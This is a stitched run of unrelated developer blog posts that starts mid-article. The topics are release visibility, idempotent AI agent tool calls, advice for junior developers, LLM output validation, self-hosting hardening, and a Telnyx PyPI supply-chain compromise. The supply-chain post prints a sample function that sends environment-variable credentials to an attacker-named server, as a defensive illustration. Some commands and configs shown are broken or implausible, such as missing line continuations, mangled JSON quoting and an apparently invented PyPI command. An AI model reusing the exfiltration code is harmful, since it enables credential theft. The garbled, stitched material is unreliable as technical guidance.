Once this environment is set up, all you need to do is write .tex files and run a single command. Even if you get a new PC, just install WSL2 and Docker, and your environment is instantly recreated.

Happy TeXing!

References

Why Team Visibility Is the Secret to Faster Shipping

Cross-posted from the Unitix Flow Blog

The fastest engineering teams aren’t the ones writing more code. They’re the ones where everyone can see what’s shipping, what’s blocked, and what’s being tested — without asking.

The Hidden Cost of Low Visibility

Think about how many times per day your team asks some version of:

  • “Where are we with the release?”
  • “Is that feature branch merged?”
  • “Did QA sign off on this?”
  • “What’s blocking the deploy?”

Each question means someone doesn’t have visibility into the release state. And the answer is usually scattered across Jira, GitLab, Slack, and a spreadsheet.

The cost isn’t just the interruption. It’s the latency it introduces. A developer waits 30 minutes for a Slack reply instead of seeing the answer immediately. A PM schedules a meeting to get release status instead of checking a dashboard. QA waits for someone to tell them staging is ready instead of getting notified automatically.

What Visibility Actually Means

Visibility isn’t more reporting. It’s not 25 charts on a dashboard nobody looks at.

Visibility means: any team member can answer “what’s the state of this release?” in 10 seconds without asking anyone.

That requires:

Branch & Pipeline Status

Every branch linked to the release, with real-time pipeline status. Not “the ticket says Done” — the actual state of the code.

QA Status

Which test cases are assigned, which passed, which failed, which haven’t been run. Not in a separate tool — in the same view as the branches.

Release Scope

What’s included in this release, what was added, what was removed. A frozen scope that everyone trusts.

Blockers

What’s preventing the release from shipping? Unmerged branches, failing pipelines, incomplete tests — surfaced automatically, not discovered in a meeting.

The Impact

When visibility is solved:

Status meetings shrink or disappear. There’s nothing to “update” on when everyone already sees the same data. Standups shift from “what’s going on?” to “what needs discussion?”

Developers stop getting interrupted. No more “hey, is your branch merged?” DMs. The answer is visible.

QA knows when to start. Automatic notifications when staging is updated, instead of monitoring Slack or asking.

Deploy confidence increases. When the team can see that all branches are merged, all tests pass, and QA signed off — the deploy is a button click, not a leap of faith.

Onboarding gets faster. New team members can understand release status from day one, instead of learning which Slack channels to monitor and which spreadsheets to check.

The Visibility Test

Ask yourself: if you went on vacation for a week, could your team see the release status without you?

If you’re the person who “just knows” the state of things — that’s not a strength. That’s a single point of failure. And it means your team’s shipping speed is limited by your availability.

True visibility means the information lives in a system, not in someone’s head.

Unitix Flow gives your entire team real-time visibility into releases — branches, pipelines, QA results, and scope in a single dashboard. No status meetings required.

The Execution Guard Pattern for AI Agents

AI agents don’t just think — they execute real-world actions.

Payments. Trades. Emails. API calls.

And under retries, timeouts, or crashes…

they can execute the same action twice.

Not because the model was wrong —
because the system has no memory of execution.

The hidden failure mode

A typical failure path looks like this:

agent decides to call tool
→ tool executes side effect
→ response is lost (timeout / crash / disconnect)
→ system retries
→ side effect executes again

Now you have:

duplicate payments
duplicate trades
duplicate emails
duplicate API mutations

Not because the decision was wrong —
because the execution layer has no durable receipt.

Retries are correct — and still dangerous

Retries are necessary for reliability.

But retries + irreversible side effects without a guard = replay risk.

The system cannot confidently answer:

“Did this action already happen?”

So it does the only thing it can:

→ tries again

That’s fine for reads.

It’s dangerous for writes.

The Execution Guard Pattern

The fix is not prompt engineering.

It’s an execution boundary around side effects.

Pattern:
decision
→ deterministic request_id
→ execution guard
→ if receipt exists → return prior result
→ else → execute once → store receipt

Instead of asking the model to “be careful,”
the system itself becomes replay-safe.

The four required properties

For this pattern to work, you need four things:

1) Deterministic request identity

Every logical action must map to the same request_id across retries.

If the same payment, email, trade, or tool call is retried, it must resolve to the same identity.

2) Durable receipt storage

You need a place to persist what happened.

Postgres works well for this because it gives you:

durable writes
transactional boundaries
strong uniqueness guarantees
queryable auditability

Without durable receipts, retries are guesswork.

3) Atomic claim → execute → complete boundary

The system needs a clear execution boundary:

claim the operation
execute the side effect once
persist the result / receipt

That boundary is what prevents:

concurrent replays
duplicate workers
race-condition duplicates
“two consumers did the same thing” bugs

4) Replay returns the prior result

If the same logical action comes in again,
you should not execute it again.

You should return the prior result.

That turns:

retries
redelivery
replay
uncertain completion

into:

safe re-entry instead of duplicate side effects
What this is NOT

This is not:

moderation
prompt safety
RBAC
approval workflows
hallucination prevention

It solves one thing:

“Did this irreversible action already happen?”

That question shows up everywhere once agents or automations start calling real tools.

Where this matters most

This pattern matters anywhere your system causes real-world side effects:

webhook handlers
billing / payment flows
async workers / queues
workflow / automation systems
AI agent tool calls
external API mutations
order / booking / ticket creation
notifications and email sends

In other words:

anything that should happen once, even if the system retries
Why this keeps showing up

Modern systems are:

distributed
async
retry-heavy
failure-prone
full of uncertain completion

So “exactly once” does not happen naturally.

You have to build it explicitly.

And once you add:

AI agents
autonomous workflows
tool-calling systems

…the need for an execution boundary gets even sharper.

Because now a model can repeatedly decide to invoke something that has real-world consequences.

A practical implementation direction

In many systems, this can be implemented with:

a Postgres-backed receipt table
a stable operation / request ID
a guard layer around side-effecting functions

That turns:

unsafe retries

into:

safe replays

This doesn’t require rewriting your whole system.

It usually means identifying the small set of functions that can cause irreversible side effects and wrapping them with a durable execution boundary.

That’s where the leverage is.

Closing thought

If an AI agent can call tools,
it needs more than reasoning.

It needs execution memory.

Otherwise:

retries will eventually execute something twice.
Execution Risk Audit

I’m currently looking at systems where retries, webhooks, workers, workflows, or AI agents can replay irreversible actions.

If your system has paths where you can’t confidently answer:

“Did this action already happen?”

that’s exactly the kind of problem I’m focused on.

Especially interested in:

duplicate webhook execution
retry-safe billing flows
workflow steps with uncertain completion
AI agents calling side-effecting tools

Learn the Hard Way First: Why New Developers Should Build Skills Before Leaning on AI

Welcome to your first job, freshers. You’ve probably already used ChatGPT or Copilot to get through assignments. I’m not here to tell you to avoid AI forever. But if you skip the struggle now, you’ll pay for it for years.

Garbage In, Garbage Out

GIGO applies perfectly to AI-assisted development. The quality of your prompts depends entirely on what you already know. If you’ve never written a SQL query by hand, you won’t notice when the generated one has a subtle N+1 problem. If you’ve never debugged a race condition, you won’t even know to ask about concurrency.

The AI doesn’t know what you don’t know. It will confidently hand you something that looks right. Your job is to know enough to catch when it isn’t.

The “It Works” Trap

New devs fall into a pattern: prompt → paste → it runs → ship. But “it works” is the lowest bar. Code that works can still be unmaintainable, insecure, brittle, or wildly inefficient.

As Edsger Dijkstra put it:

“Program testing can be a very effective way to show the presence of bugs, but it is hopelessly inadequate for showing their absence.”

History is full of “working” code that caused disasters:

  • Ariane 5 (1996) — Code reused from Ariane 4 had a 64-bit to 16-bit cast that overflowed on the new rocket’s trajectory. Both redundant nav units crashed (identical code). The rocket exploded 37 seconds after launch.

  • Knight Capital (2012) — A deploy missed 1 of 8 servers. Dead code from a deprecated feature got accidentally reactivated. $440 million lost in 45 minutes.

  • Therac-25 (1985–87) — A race condition delivered 100x radiation doses, killing three patients. Previous models had the same bug, but hardware interlocks caught it. When the hardware safety was removed and software was trusted alone, people died.

When the production incident hits at 2 AM, “the AI wrote it” isn’t a debugging strategy.

What “The Hard Way” Means

Write it yourself first, then compare. In his 2016 TED talk, Linus Torvalds showed two C implementations for linked list removal — both produce identical output, but the elegant one eliminates a special case entirely. He called this “good taste”:

“Sometimes you can see a problem in a different way and rewrite it so that a special case goes away and becomes the normal case. And that’s good code.”

You only develop that taste by writing the ugly version first.

Debug without AI. Brian Kernighan wrote:

“Everyone knows that debugging is twice as hard as writing a program in the first place. So if you’re as clever as you can be when you write it, how will you ever debug it?”

If AI writes at the limit of your understanding, you’ve guaranteed you can’t debug it.

Understand the fundamentals. Data structures, HTTP, how databases work. These aren’t academic exercises — they’re the vocabulary for asking good questions.

Read other people’s code. Pattern recognition compounds over your entire career. AI can’t shortcut this for you.

Learn to test properly. Kent Beck‘s progression:

“Make it work, make it right, make it fast.”

“Make it work” is step one of three — not the finish line.

A Practical Ramp

  1. First 3 months: Minimize AI coding assistance. Write and debug by hand.
  2. Months 4–6: Use AI for exploration — explaining concepts, showing tradeoffs. Teacher, not ghostwriter.
  3. Months 6–12: Use AI for acceleration — boilerplate, test suggestions, design rubber-ducking.
  4. Always: If AI generates code you don’t understand, stop. Don’t use it until you do.

The Multiplier Effect

AI multiplies whatever you give it. Deep understanding becomes extraordinary productivity. Bad assumptions become extraordinary damage. Knight Capital didn’t lose $440 million from one mistake — they lost it because a chain of “it works” assumptions got multiplied faster than any human could intervene.

Build the foundation first. Learn the hard way. It’s the fastest path to becoming the kind of developer who can actually wield AI effectively — rather than the kind who feeds it garbage and ships the output.

The full version of this article — with additional disaster case studies, quotes from Dijkstra, Hoare, Torvalds, Kernighan, and Fowler, and a section on Japan’s April new-graduate season — is on cogley.jp.

Rick Cogley is CEO of eSolia Inc., providing bilingual IT outsourcing and infrastructure services in Tokyo, Japan.

How to Validate LLM Outputs in Production Before They Break Your Pipeline

You didn’t ship a broken AI pipeline — you shipped a pipeline where the AI sounds completely certain even when it’s completely wrong, and you had no check to tell the difference.

The Problem

You connect GPT-4 to your production workflow. Lead classification. Contact enrichment. Automated summaries. You test it on 10 samples. It works perfectly. You ship it.

Three weeks later you discover a contact was enriched with a fabricated job title. A sales rep sent a personalized email using that title. It reached the prospect. Your credibility took the hit.

Or maybe your lead classifier started routing enterprise accounts into the wrong sales bucket. Nobody noticed for two weeks because the pipeline kept running confidently, producing output that looked exactly like correct output — same format, same structure, same confident tone.

This is the core problem with LLM outputs in production: the model does not know when it is wrong. It produces a hallucinated job title with the same confidence as a verified one. There is no error state. There is no warning. There is just output — and if you have no check, you consume it as truth.

Why It Happens

LLMs are probabilistic, not deterministic. The model predicts the most likely next token given the context — it does not verify claims against a source of truth before responding.

If you set temperature to 0 expecting deterministic accuracy, that does not fix hallucination. Temperature 0 makes the output repeatable — the same wrong answer every time, consistently.

If you add a system prompt instruction like “Do not hallucinate. Only return factual information,” the model will comply — in the sense that it will continue producing output in the same confident format. The instruction changes tone, not accuracy.

The deeper issue is architectural: most pipelines have no output contract. You call the LLM, receive a string or a JSON blob, and pass it to the next step. There is no schema the output is validated against. There is no confidence gate that routes low-confidence outputs to review. There is no cross-reference check against a known source. The pipeline assumes every output is correct by design.

That assumption breaks at scale, on edge cases, on non-English inputs, on ambiguous company names, on truncated context — on exactly the inputs that never appeared in your 10-sample test set.

The Defense Pattern

You do not need to eliminate LLM errors — that is not achievable. You need to catch them before they propagate downstream. Here is the four-layer defense pattern:

Layer 1: Schema Validation

Enforce a structured output contract using JSON mode or function calling. Validate required field presence and field type constraints before the output leaves the LLM layer.

import Ajv from 'ajv';

const ajv = new Ajv();
const schema = {
  type: 'object',
  required: ['company', 'job_title', 'industry'],
  properties: {
    company: { type: 'string', minLength: 1 },
    job_title: { type: 'string', minLength: 1 },
    industry: { type: 'string', enum: ['SaaS', 'Fintech', 'Healthcare', 'Ecommerce', 'Other'] }
  }
};

const validate = ajv.compile(schema);

function validateLLMOutput(rawOutput) {
  let parsed;
  try {
    parsed = JSON.parse(rawOutput);
  } catch (e) {
    return { valid: false, error: 'JSON parse failure', raw: rawOutput };
  }

  const valid = validate(parsed);
  if (!valid) {
    return { valid: false, errors: validate.errors, raw: rawOutput };
  }
  return { valid: true, data: parsed };
}

If the output fails schema validation, route it to your retry queue — not downstream.

Layer 2: Confidence Gating via Self-Consistency

If your model exposes logprobs (GPT-4 API does), use them as a confidence gate. Without logprobs, use a self-consistency check: call the model three times with temperature > 0 and check if the outputs agree.

async function selfConsistencyCheck(prompt, n = 3) {
  const responses = await Promise.all(
    Array(n).fill(null).map(() => 
      callLLM(prompt, { temperature: 0.3 })
    )
  );

  // For classification outputs, check majority agreement
  const counts = {};
  for (const r of responses) {
    const key = r.industry; // the field you want to gate
    counts[key] = (counts[key] || 0) + 1;
  }

  const majority = Object.entries(counts).sort((a, b) => b[1] - a[1])[0];
  const confidence = majority[1] / n;

  return {
    value: majority[0],
    confidence,
    routeToReview: confidence < 0.67 // less than 2/3 agreement
  };
}

If confidence falls below your threshold, route to a human review queue instead of propagating downstream.

Layer 3: Cross-Reference Validation

For enrichment outputs, validate against a known source before writing to your CRM or database. If the output is a company name, check it against your existing records. If the output is a numeric value (revenue range, headcount), apply a sanity gate for known valid ranges.

Layer 4: Retry with Stricter Prompt

If an output fails schema validation on the first attempt, retry with a more constrained prompt before escalating to human review:

async function enrichWithRetry(contact, maxRetries = 2) {
  for (let attempt = 0; attempt <= maxRetries; attempt++) {
    const prompt = attempt === 0 
      ? buildStandardPrompt(contact)
      : buildStrictPrompt(contact); // narrower output constraints, explicit enum values

    const raw = await callLLM(prompt);
    const result = validateLLMOutput(raw);

    if (result.valid) return result.data;

    if (attempt === maxRetries) {
      routeToHumanReview(contact, result.errors);
      return null;
    }
  }
}

Using Apify to Build Your Validation Test Suite

Before shipping a new LLM enrichment or classification pipeline, you need a validation test set — a collection of inputs with known correct outputs that you can run your pipeline against and measure accuracy.

If you do not have labeled data internally, you can scrape public sources to build one. For lead enrichment, the LinkedIn Job Scraper on Apify can pull structured job listing data — company name, title, industry — that you can use as a ground-truth comparison set.

For classification pipelines, the Google SERP Scraper can pull company and industry data from search results that you validate your LLM classifications against.

A 20-item validation test suite costs $0 to build on Apify’s free tier. Run your pipeline against it before every deployment. If your validation error rate on the test set crosses a threshold you set, block the deployment and fix the prompt first.

This is not a substitute for production monitoring — it is a pre-ship gate that catches systematic prompt failures before they reach real data.

Monitoring in Production

Once you ship, instrument three metrics:

  1. Schema violation rate — percentage of LLM outputs that fail your schema validator. If this spikes, your prompt has drifted from the output contract.

  2. Human review queue rate — percentage of outputs routed to manual review due to low confidence. A rising rate may indicate a new class of inputs the model handles poorly.

  3. Downstream null/error rate — percentage of downstream pipeline steps that receive null, error, or unexpected inputs from the LLM layer. This is your lagging indicator: if it spikes, something upstream broke.

Set alerts on all three. Your schema violation rate alert is your fastest signal — it fires before downstream errors accumulate.

The Cost Frame

$0 to build a 20-item validation test suite using public data and Apify’s free tier.

A few hours to add a schema validator, a confidence gate, and a human review queue routing path.

The alternative: silent data corruption in production. Hallucinated job titles in your CRM. Misclassified leads in the wrong sales bucket for two weeks. A personalized email with the wrong information reaching a prospect.

The validation layer is not expensive to build. What is expensive is the absence of one — and it does not send you an alert when it happens.

Related: If your pipeline also calls external APIs (enrichment APIs, search APIs, classification endpoints), check your rate limit handling — the same production incident pattern applies. How to Handle API Rate Limits Before They Break Your Production Integration

Why Your Self-Hosted App Keeps Dying at 3 AM (And How to Fix It)

So you spun up a VPS, deployed your app, told everyone it was live — and then woke up to angry Slack messages because the whole thing went down at 3 AM. Welcome to the club.

Self-hosting production applications is one of those things that sounds straightforward until you actually do it. I’ve been running self-hosted services for about six years now, and the gap between “it works on my server” and “it works reliably in production” is where most of the pain lives. There’s actually a massive free guide floating around (750+ pages) covering this exact territory, which reminded me that a lot of developers keep hitting the same walls.

Let me walk through the most common reasons self-hosted apps fail in production and how to actually fix them.

The Root Cause: You Deployed an App, Not a System

Here’s the core issue. When you docker compose up -d and walk away, you’ve deployed an application. But production needs a system — monitoring, automatic restarts, log rotation, backups, resource limits, and reverse proxy configuration that doesn’t fall over.

Most 3 AM crashes come down to one of three things:

  • Memory exhaustion — your app (or its database) slowly ate all available RAM
  • Disk full — logs or temp files filled the drive
  • No automatic recovery — the process crashed and nothing restarted it

Let’s fix all three.

Step 1: Set Resource Limits (Stop the OOM Killer)

If you’re using Docker Compose, you need memory limits. Without them, a single misbehaving container can take down everything on the host.

# docker-compose.yml
services:
  app:
    image: your-app:latest
    deploy:
      resources:
        limits:
          memory: 512M    # hard ceiling — container gets killed past this
          cpus: '1.0'
        reservations:
          memory: 256M    # guaranteed minimum
    restart: unless-stopped  # this alone prevents most 3 AM incidents

  postgres:
    image: postgres:16
    deploy:
      resources:
        limits:
          memory: 1G
    # tune shared_buffers to ~25% of memory limit
    environment:
      POSTGRES_SHARED_BUFFERS: 256MB
    volumes:
      - pgdata:/var/lib/postgresql/data
    restart: unless-stopped

That restart: unless-stopped line is doing heavy lifting. It means Docker will automatically restart crashed containers unless you explicitly stopped them. I’m genuinely surprised how many production setups I’ve seen without it.

Step 2: Fix the Silent Disk Killer

Docker logs will eat your disk alive if you don’t configure rotation. By default, Docker just appends JSON logs forever. I learned this the hard way when a 40GB log file took down a production Postgres instance.

Add this to your Docker daemon config:

// /etc/docker/daemon.json
{
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "10m",
    "max-file": "3"
  }
}

Restart Docker after changing this. Existing containers need to be recreated (not just restarted) to pick up the new logging config.

While you’re at it, set up a basic disk monitoring cron job:

#!/bin/bash
# /usr/local/bin/disk-check.sh
# Alert when disk usage crosses 85%

THRESHOLD=85
USAGE=$(df / | tail -1 | awk '{print $5}' | sed 's/%//')

if [ "$USAGE" -gt "$THRESHOLD" ]; then
  # swap this for your preferred notification method
  curl -X POST "https://your-webhook-url" 
    -H "Content-Type: application/json" 
    -d "{"text": "Disk usage at ${USAGE}% on $(hostname)"}"
fi

Schedule it every 15 minutes with cron and you’ll never be surprised by a full disk again.

Step 3: Add Health Checks That Actually Work

Docker health checks let you detect when your app is technically running but not actually working — like when your Node.js server is up but stuck in an event loop block.

# docker-compose.yml
services:
  app:
    image: your-app:latest
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 10s  # grace period for startup
    restart: unless-stopped

But here’s the thing most guides skip: your /health endpoint needs to actually check dependencies. Don’t just return 200.

// Express health check that actually means something
app.get('/health', async (req, res) => {
  try {
    // check database connection
    await db.query('SELECT 1');
    // check redis if you use it
    await redis.ping();
    res.status(200).json({ status: 'ok' });
  } catch (err) {
    // returning 503 makes Docker mark container as unhealthy
    res.status(503).json({ status: 'degraded', error: err.message });
  }
});

Step 4: Reverse Proxy Configuration That Doesn’t Suck

If you’re exposing services to the internet, you need a reverse proxy. Caddy has become my go-to because it handles TLS certificates automatically and the config is minimal.

# Caddyfile
yourapp.example.com {
    reverse_proxy app:3000 {
        # passive health checks — stop sending traffic to dead upstreams
        health_uri /health
        health_interval 30s
    }

    # basic rate limiting to prevent abuse
    rate_limit {
        zone dynamic {
            key {remote_host}
            events 100
            window 1m
        }
    }

    encode gzip
    log {
        output file /var/log/caddy/access.log {
            roll_size 50mb
            roll_keep 5
        }
    }
}

Caddy handles HTTPS automatically through Let’s Encrypt. No certbot cron jobs, no renewal scripts. It just works.

Step 5: Backups (The Thing You’ll Wish You Had)

I know. Backups are boring. But future-you will be incredibly grateful. Here’s a minimal but functional approach for Postgres:

#!/bin/bash
# /usr/local/bin/backup-db.sh

BACKUP_DIR="/backups/postgres"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
RETENTION_DAYS=7

# dump the database from the running container
docker exec postgres pg_dump -U appuser -Fc appdb > "${BACKUP_DIR}/app_${TIMESTAMP}.dump"

# clean up old backups
find "$BACKUP_DIR" -name "*.dump" -mtime +$RETENTION_DAYS -delete

# optional: sync to remote storage
# rclone copy "$BACKUP_DIR" remote:backups/postgres --max-age 24h

Run this daily via cron. Uncomment the rclone line when you’ve set up remote storage — local-only backups on the same server are better than nothing, but not by much.

Prevention: The Checklist

Before you consider any self-hosted deployment “production ready,” run through this:

  • Resource limits set for every container
  • Restart policies configured (unless-stopped at minimum)
  • Log rotation enabled at the Docker daemon level
  • Health checks that verify actual functionality, not just process liveness
  • TLS termination via a reverse proxy with automatic cert renewal
  • Automated backups with at least one off-server copy
  • Disk and memory monitoring with alerts
  • Firewall rules — only expose ports 80, 443, and your SSH port
  • Unattended security updates enabled on the host OS

You don’t need Kubernetes for this. You don’t need a managed platform. A single well-configured VPS with Docker Compose can reliably host a surprising amount of production traffic. The key word is well-configured.

The Bigger Picture

Self-hosting is making a comeback for good reasons — cost control, data sovereignty, and honestly just the satisfaction of running your own infrastructure. But the gap between tutorials and production-grade setups is real, and it’s where most people get burned.

The pattern is almost always the same: the app itself is fine, but the operational wrapper around it is missing. Add restart policies, resource limits, health checks, log management, and backups, and you’ve eliminated probably 90% of the 3 AM pages.

Now go set up those log rotation limits before your disk fills up. Ask me how I know this is urgent.

Supply Chain Security: How the Telnyx PyPI Compromise Happened and How to Protect Your Projects

The Wake-Up Call

On March 28, 2026, the Python community received a stark reminder of supply chain security vulnerabilities. The Telnyx Python SDK was compromised on PyPI, the official Python package repository.

This wasn’t just another data breach—it was a supply chain attack that could have affected thousands of developers and their applications. The 81-point Hacker News discussion shows the community is paying attention.

Let’s break down what happened, why it matters, and how to protect your projects.

What Happened

The Attack Vector

Attackers compromised the Telnyx package maintainer’s account and published a malicious version of the telnyx package to PyPI.

Key Details:

  • Package: telnyx (Python SDK for Telnyx API)
  • Repository: PyPI (Python Package Index)
  • Attack Type: Account takeover + malicious package upload
  • Impact: Potential data exfiltration, credential theft, system compromise

The Malicious Code

The compromised version included code that:

  1. Exfiltrated environment variables (including API keys)
  2. Sent sensitive data to attacker-controlled servers
  3. Established persistence mechanisms
  4. Downloaded additional payloads

Example Malicious Code Pattern:

import os
import requests

def exfiltrate_data():
    """Send sensitive data to attacker's server"""
    sensitive_data = {
        'api_keys': os.environ.get('API_KEY'),
        'database_url': os.environ.get('DATABASE_URL'),
        'aws_credentials': os.environ.get('AWS_ACCESS_KEY_ID'),
    }
    requests.post('https://attacker-controlled-server.com/collect', json=sensitive_data)

Why This Matters

1. Trust Erosion

Supply chain attacks erode trust in the entire ecosystem. When you can’t trust packages, development becomes exponentially harder.

2. Cascading Failures

A single compromised package can affect thousands of downstream applications:

  • Your app depends on Package A
  • Package A depends on Package B
  • Package B is the compromised Telnyx package
  • Your app is now compromised

3. Financial Impact

Supply chain attacks can result in:

  • Data breaches and regulatory fines
  • Reputation damage
  • Customer churn
  • Legal liabilities

4. Operational Disruption

Recovering from a supply chain attack requires:

  • Identifying all affected systems
  • Rolling back to safe versions
  • Rotating all credentials
  • Auditing logs for suspicious activity
  • Notifying stakeholders

How to Protect Your Projects

1. Pin Your Dependencies

Never use unpinned versions in production.

Bad:

telnyx>=1.0.0

Good:

telnyx==1.2.3

Even Better:

telnyx==1.2.3 
    --hash=sha256:abc123... 
    --hash=sha256:def456...

2. Use Dependency Locking

Generate lock files for reproducible builds.

pip-tools:

pip-compile requirements.in
pip-sync requirements.txt

Poetry:

poetry lock
poetry install

PDM:

pdm lock
pdm install

3. Verify Package Signatures

Use PyPI’s trusted publishing and package signing.

Install with verification:

pip install telnyx --require-hashes

4. Monitor for Vulnerabilities

Automated vulnerability scanning is essential.

Safety:

pip install safety
safety check

pip-audit:

pip install pip-audit
pip-audit

Snyk:

npm install -g snyk
snyk test

5. Implement CI/CD Checks

Add security checks to your CI/CD pipeline.

GitHub Actions Example:

name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run safety check
        run: |
          pip install safety
          safety check --json > safety-report.json
      - name: Upload report
        uses: actions/upload-artifact@v3
        with:
          name: safety-report
          path: safety-report.json

6. Use Private Package Repositories

Host your own packages for critical dependencies.

Options:

  • Artifactory (JFrog)
  • Nexus (Sonatype)
  • GitLab Package Registry
  • GitHub Packages

7. Implement Runtime Protection

Monitor application behavior at runtime.

Tools:

  • Falco (Cloud-native runtime security)
  • Sysdig (Container security monitoring)
  • Tracee (eBPF-based security tracing)

Best Practices for Package Maintainers

1. Enable Two-Factor Authentication

Mandatory 2FA for all maintainers.

2. Use Trusted Publishing

PyPI’s trusted publishing eliminates API keys.

# Configure trusted publishing
pypi-token create --trusted-publishing

3. Sign Your Packages

Cryptographically sign all releases.

# Sign with GPG
gpg --detach-sign --armor dist/telnyx-1.2.3.tar.gz

4. Implement Release Processes

Never release directly from personal machines.

Process:

  1. Build in isolated environment
  2. Run security scans
  3. Sign packages
  4. Upload via CI/CD
  5. Announce on multiple channels

5. Monitor for Compromises

Set up alerts for:

  • Unusual download patterns
  • New maintainer additions
  • Unexpected version releases

Recovery Checklist

If you suspect you’ve been affected by the Telnyx compromise:

Immediate Actions (0-1 hour)

  • [ ] Identify all systems using the Telnyx package
  • [ ] Check installed versions against known malicious versions
  • [ ] Rotate all API keys and credentials
  • [ ] Isolate affected systems

Short-Term Actions (1-24 hours)

  • [ ] Audit logs for suspicious activity
  • [ ] Notify security team
  • [ ] Update to safe package versions
  • [ ] Scan for persistence mechanisms

Long-Term Actions (1-7 days)

  • [ ] Implement dependency pinning
  • [ ] Set up automated vulnerability scanning
  • [ ] Review all third-party dependencies
  • [ ] Document lessons learned

Tools and Resources

Security Scanning Tools

  • Safety: Python dependency vulnerability scanner
  • pip-audit: Official PyPI vulnerability scanner
  • Snyk: Multi-language vulnerability scanner
  • Dependabot: Automated dependency updates

Package Verification

  • PyPI Trusted Publishing: API key-less authentication
  • GPG: Package signing and verification
  • Sigstore: Cryptographic signing for software artifacts

Monitoring and Alerting

  • Falco: Runtime security monitoring
  • Sysdig: Container and cloud security
  • Tracee: eBPF-based security tracing

The Future of Supply Chain Security

Emerging Trends

  1. SBOM (Software Bill of Materials)

    • Standardized format for listing dependencies
    • Required by increasing regulations
    • Enables vulnerability tracking
  2. Zero Trust Architecture

    • Verify every package, every time
    • No implicit trust in package repositories
    • Continuous validation
  3. AI-Powered Security

    • Machine learning for anomaly detection
    • Automated vulnerability discovery
    • Predictive threat intelligence
  4. Regulatory Compliance

    • Increasing requirements for supply chain security
    • Mandatory vulnerability disclosure
    • Liability for compromised packages

Real-World Examples

Example 1: SolarWinds (2020)

  • Attack: Compromised build system
  • Impact: 18,000+ customers affected
  • Lesson: Secure your build pipeline

Example 2: Codecov (2021)

  • Attack: Compromised CI/CD script
  • Impact: Thousands of customers’ credentials stolen
  • Lesson: Verify CI/CD integrity

Example 3: PyTorch (2022)

  • Attack: Malicious package with typosquatting
  • Impact: Users installed torchtriton instead of triton
  • Lesson: Be careful with package names

Getting Started

Step 1: Audit Your Dependencies

pip install safety
safety check

Step 2: Pin Your Versions

pip freeze > requirements.txt

Step 3: Set Up Automated Scanning

Add to your CI/CD pipeline:

- name: Security Scan
  run: |
    pip install safety
    safety check

Step 4: Enable 2FA

Enable 2FA on:

  • PyPI account
  • GitHub account
  • GitLab account
  • All package repositories

Step 5: Monitor for Vulnerabilities

Set up alerts for:

  • New CVEs in your dependencies
  • Unusual package activity
  • Security advisories

Conclusion

The Telnyx PyPI compromise is a wake-up call for the entire Python community. Supply chain security is no longer optional—it’s essential.

By implementing the practices outlined in this article, you can protect your projects from similar attacks. Remember: security is a process, not a product. Stay vigilant, stay informed, and stay secure.

Next Steps:

  1. Audit your current dependencies
  2. Implement dependency pinning
  3. Set up automated vulnerability scanning
  4. Enable 2FA on all accounts
  5. Share this knowledge with your team

Want to learn more about security best practices? Check out my other articles on AI Skills for Affiliate Marketing and GEO: The New SEO for AI Search Engines.

Affiliate Disclosure: This article contains affiliate links. If you make a purchase through these links, I may earn a commission at no additional cost to you.